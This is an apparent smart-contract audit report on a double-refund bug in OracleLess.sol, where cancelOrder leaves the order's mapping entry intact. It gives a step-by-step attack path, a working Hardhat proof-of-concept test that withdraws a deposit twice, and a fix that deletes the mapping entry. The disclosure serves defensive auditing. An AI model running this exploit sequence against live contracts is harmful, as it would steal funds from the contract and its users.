Young Vanilla Pelican

High

# OracleLess.sol :: cancelOrder() users can steal funds from the contract by first canceling an order and then modifying it.

### Summary

`cancelOrder()` is used to cancel an order and return the funds to the user. The issue is that it only removes the `orderId` from the `pendingOrderIds` array, but does not delete the `orders` mapping. 

This creates a scenario where the user could receive their deposited amount twice—first by canceling the order, and then by modifying it to withdraw the deposited amount—ultimately resulting in a loss of funds for the contract.

### Root Cause

[cancelOrder()](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L74-L78) calls `_cancelOrder()`.
```solidity
function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(
                    i,
                    pendingOrderIds
                );

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);

                return true;
            }
        }
        return false;
    }
```
As you can see, it only removes the order from the `pendingOrderIds` array but does not delete the [orders](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L17) mapping. This causes an issue where a user can use the `modifyOrder` to withdraw the deposited amount again. To better understand this, let's examine the `_modifyOrder()`, which is called during this process.
```solidity
function _modifyOrder(
        uint96 orderId,
        IERC20 _tokenOut,
        uint256 amountInDelta,
        uint256 _minAmountOut,
        address _recipient,
        bool increasePosition,
        bool permit,
        bytes calldata permitPayload
    ) internal {
        //fetch order
        Order memory order = orders[orderId];

        require(msg.sender == order.recipient, "only order owner");

        //deduce any amountIn changes
        uint256 newAmountIn = order.amountIn;
        if (amountInDelta != 0) {
            if (increasePosition) {
                //take more tokens from order recipient
                newAmountIn += amountInDelta;
                procureTokens(
                    order.tokenIn,
                    amountInDelta,
                    order.recipient,
                    permit,
                    permitPayload
                );
            } else {
                //refund some tokens
                //ensure delta is valid
                require(amountInDelta < order.amountIn, "invalid delta");

                //set new amountIn for accounting
@>               newAmountIn -= amountInDelta;

                //refund position partially
                order.tokenIn.safeTransfer(order.recipient, amountInDelta);
            }
        }

        //construct new order
        Order memory newOrder = Order({
            orderId: orderId,
            tokenIn: order.tokenIn,
            tokenOut: _tokenOut,
            amountIn: newAmountIn,
            minAmountOut: _minAmountOut,
            feeBips: order.feeBips,
            recipient: _recipient
        });

        //store new order
        orders[orderId] = newOrder;
    }
```
As you can see, a user can first cancel an order and receive the deposited amount, and then call `modifyOrder()` with the canceled order's `orderId`. The `amountInDelta` is set to `amountDeposited - 1` (since `amountInDelta < order.amountIn`), and `increasePosition` is set to `false` (indicating the intention to withdraw the amount from the order). 

This works because in `_cancelOrder()`, only the order is removed from the array, but the `amountIn` is not updated in the `orders` mapping, unlike in `_modifyOrder()`. This allows the user to withdraw the deposited amount a second time.

Note: I am using `OracleLess.sol` as an example, but the same issue exists in both `StopLimit.sol` and `Bracket.sol`.

### Internal pre-conditions

None.

### External pre-conditions

User creates an order.

### Attack Path

1. The user creates an order using `createOrder()` with `amountIn = 100`.
2. The user cancels the previously created order using `cancelOrder()`, receiving the deposited amount back.
3. The user then modifies the canceled order with `amountInDelta = 99` and `increasePosition = false` using `modifyOrder()`.
4. As a result, the user's final balance becomes 100 + 99 = 199, gaining a benefit of 99 and effectively stealing from the contract.

### Impact

Users can steal tokens from the contract.

### PoC

To prove the issue copy the following POC in `failure_ORACLE_LESS.ts`.
```js
it("Malicious user can steal funds from the contract first canceling and next modifying order", async () => {

            //fund Steve
            await stealMoney(s.wethWhale, await s.Steve.getAddress(), await s.WETH.getAddress(), s.steveWeth)

            //initiaBalance of steve
            let initialBalance = await s.WETH.balanceOf(await s.Steve.getAddress())

            //fund contract
            await stealMoney(s.wethWhale, await s.OracleLess.getAddress(), await s.WETH.getAddress(), s.steveWeth)

            await s.WETH.connect(s.Steve).approve(await s.OracleLess.getAddress(), veryLargeWethAmount)
            
            //Steve create Order
            await s.OracleLess.connect(s.Steve).createOrder(
                await s.WETH.getAddress(),
                await s.USDC.getAddress(),
                s.steveWeth,
                0,
                await s.Steve.getAddress(),
                0,
                false,//no permit
                "0x"
            )

            let id1 = await s.Master.generateOrderId(await s.Steve.getAddress())
            
            //cancel order
            await s.OracleLess.connect(s.Steve).cancelOrder(id1)
            
            //Steve modify the canceled order to decrease balance and withdraw the initial deposit another time
            await s.OracleLess.connect(s.Steve).modifyOrder(id1, 
                await s.WETH.getAddress(), 
                s.steveWeth - BigInt(1), 
                s.steveWeth - BigInt(1), 
                await s.Steve.getAddress(),
                false,
                false,
                "0x"
            )

            //finalBalance of Steve
            let finalBalance = await s.WETH.balanceOf(await s.Steve.getAddress())
            
            console.log("Initial balance:", initialBalance)
            console.log("Final balance:", finalBalance)
            console.log("Amount stealed:", finalBalance - initialBalance)

            //Steve obtain the deposited amount two times
            expect(finalBalance).to.be.eq(initialBalance + s.steveWeth - BigInt(1))
        })
```
As shown in the logs, Steve successfully steals 32.9 ether.

### Mitigation

To resolve the issue in `_cancelOrder()`, delete the mapping of the canceled order.
```diff
function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(
                    i,
                    pendingOrderIds
                );

+               delete orders[order.orderId];

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);

                return true;
            }
        }
        return false;
    }
```